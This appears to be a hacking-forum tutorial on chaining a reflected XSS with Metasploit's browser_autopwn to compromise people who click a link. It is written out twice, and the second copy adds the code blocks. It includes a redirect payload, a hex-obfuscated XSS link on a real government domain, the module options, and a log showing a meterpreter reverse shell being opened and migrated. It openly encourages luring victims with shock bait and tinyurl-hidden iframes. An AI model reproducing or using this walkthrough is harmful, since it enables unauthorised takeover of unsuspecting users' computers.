Now, for those of you who want to be spoonfed methods of owning bitches through XSS, fuck off out of my thread. I will be deliberately obsfucating parts of the process. If you're not prepared to do a bit of research and or learning then don't bother reading on.
So a lot of people I've seen posting non-persistent XSS'es, the majority just following some shitty tutorial and thinking they're elite as fuck. This is one attack vector which can be extremely effective depending on the situation.
I'm going to cover the following:
The basics of non-persistent XSS
The basics of metasploit
Browser exploitation using MSF (AutoPwn)
-- Non Persistent XSS --
Now as you all (should) know, non-persistent XSS'es to be effective as anything more than a screenshot to show off on HF require some form of client / victim / target interaction.
Let's say for example we have a vulnerable site..
We can very easily do a simple redirect..
Or for something even more tricky, include a hidden iframe.
Our attack vector will take advantage of the human element, the idea that someone will be happy to click a link which looks like this...
I mean fuck, a lot of the time now you don't even see links before you click them. Just like this one...
How many ree ree's on some random forum would click that shit if they thought they were going to see some dude jerking his dick with barbed wire or some other seemingly fucked up shit? For those of you not familiar, that's hex encoding. Go read up.
-- MSF Basics --
Now the best way to explain it is to rip the explanation off another website.
And let's be honest, it's fucking awesome. It is going to be our attack platform, our alpha and omega so get very familiar with it.
Install it, play with it, set up some virtual machines and rip them to pieces with your newly found best friend.
Some links:
http://www.backtrack-linux.org/
http://www.metasploit.com/
http://www.damnvulnerablelinux.org/
Install that shit, fire it up. DO NOT USE ARMITAGE, whilst it's a very handy tool unless you can use MSF from the CLI you're a fucking failure and will never realise it's full potential.
-- Browser Exploitation --
So by now you should have worked out your target audience, found a nice site with a nice GET XSS vuln, what's next? Oh yes, let's fucking pwn someone.
Fire up MSF, there's a very handy module included which will accomplish the task. This module is browser_autopwn.
It will automatically find and set up a whole host of browser exploits to be launched, enumerate each new connection and fire the most efficient xpl at the connecting browser.
Set the required options and run that shit, you'll end up seeing something very similar to this:
We now have a URL which when visited will attempt to intelligently pwn the visitor. Neat huh?
Now all we need to do is obsfucate it a little, throw it in an XSS and spread using our preferred method. I most enjoy hiding it behind a tinyurl and including it in an iframe.
Then we wait for our intended target to click that shit..
Viola. You now have a meterpereter session on the rem0te machine.
Enjoy.
Intelligent questions are welcomed, if you do not google it before answering I will verbally tear you a new asshole.
So a lot of people I've seen posting non-persistent XSS'es, the majority just following some shitty tutorial and thinking they're elite as fuck. This is one attack vector which can be extremely effective depending on the situation.
I'm going to cover the following:
The basics of non-persistent XSS
The basics of metasploit
Browser exploitation using MSF (AutoPwn)
-- Non Persistent XSS --
Now as you all (should) know, non-persistent XSS'es to be effective as anything more than a screenshot to show off on HF require some form of client / victim / target interaction.
Let's say for example we have a vulnerable site..
Code
www.search.com/search.php?res=MALICIOUS DATA HEREWe can very easily do a simple redirect..
Code
document.location='http://www.some-other-webpage.com';Or for something even more tricky, include a hidden iframe.
Our attack vector will take advantage of the human element, the idea that someone will be happy to click a link which looks like this...
Code
www.fbi.gov/search?s=%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74I mean fuck, a lot of the time now you don't even see links before you click them. Just like this one...
How many ree ree's on some random forum would click that shit if they thought they were going to see some dude jerking his dick with barbed wire or some other seemingly fucked up shit? For those of you not familiar, that's hex encoding. Go read up.
-- MSF Basics --
Now the best way to explain it is to rip the explanation off another website.
Quote:The Metasploit Project is an open-source, computer security project which provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
It's most well-known sub-project is the Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive, and security research.
The Metasploit Project is also well known for anti-forensic and evasion tools, some of which are built into the Metasploit Framework.
And let's be honest, it's fucking awesome. It is going to be our attack platform, our alpha and omega so get very familiar with it.
Install it, play with it, set up some virtual machines and rip them to pieces with your newly found best friend.
Some links:
http://www.backtrack-linux.org/
http://www.metasploit.com/
http://www.damnvulnerablelinux.org/
Install that shit, fire it up. DO NOT USE ARMITAGE, whilst it's a very handy tool unless you can use MSF from the CLI you're a fucking failure and will never realise it's full potential.
-- Browser Exploitation --
So by now you should have worked out your target audience, found a nice site with a nice GET XSS vuln, what's next? Oh yes, let's fucking pwn someone.
Fire up MSF, there's a very handy module included which will accomplish the task. This module is browser_autopwn.
It will automatically find and set up a whole host of browser exploits to be launched, enumerate each new connection and fire the most efficient xpl at the connecting browser.
Code
auxiliary/server/browser_autopwnCode
msf auxiliary(browser_autopwn) > show options
Module options (auxiliary/server/browser_autopwn):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The IP address to use for reverse-connect payloads
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
msf auxiliary(browser_autopwn) >Set the required options and run that shit, you'll end up seeing something very similar to this:
Code
[*] --- Done, found 26 exploit modules
[*] Using URL: http://192.168.1.65:80/gr94Od7VpXm1By
[*] Server started.We now have a URL which when visited will attempt to intelligently pwn the visitor. Neat huh?
Now all we need to do is obsfucate it a little, throw it in an XSS and spread using our preferred method. I most enjoy hiding it behind a tinyurl and including it in an iframe.
Then we wait for our intended target to click that shit..
Code
msf auxiliary(browser_autopwn) >
[*] 192.168.1.87 Browser Autopwn request '/gr94Od7VpXm1By'
[*] 192.168.1.87 Browser Autopwn request '/gr94Od7VpXm1By?sessid=TWljcm9zb2Z0IFdpbmRvd3M6Nzp1bmRlZmluZWQ6ZW4tZ2I6eDg2Ok1TSUU6OC4wOg%3d%3d'
[*] 192.168.1.87 JavaScript Report: Microsoft Windows:7:undefined:en-gb:x86:MSIE:8.0:
[*] Responding with exploits
[*] 192.168.1.87:49188 Received request for "/YVOliT"
[*] 192.168.1.87:49188 Sending windows/browser/ms11_003_ie_css_import redirect
[*] 192.168.1.87:49188 Received request for "/YVOliT/lukIPJ.html"
[*] 192.168.1.87:49188 Sending windows/browser/ms11_003_ie_css_import HTML
[*] 192.168.1.87:49188 Received request for "/YVOliT/generic-1333255156.dll"
[*] 192.168.1.87:49188 Sending windows/browser/ms11_003_ie_css_import .NET DLL
[*] 192.168.1.87:49196 Received request for "/YVOliT/\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A"
[*] 192.168.1.87:49196 Sending windows/browser/ms11_003_ie_css_import CSS
[*] Sending stage (752128 bytes) to 192.168.1.87
[*] Meterpreter session 1 opened (192.168.1.65:3333 -> 192.168.1.87:49199) at 2012-04-01 05:39:21 +0100
[*] Session ID 1 (192.168.1.65:3333 -> 192.168.1.87:49199) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2328)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2932
[+] Successfully migrated to processViola. You now have a meterpereter session on the rem0te machine.
Enjoy.
Intelligent questions are welcomed, if you do not google it before answering I will verbally tear you a new asshole.



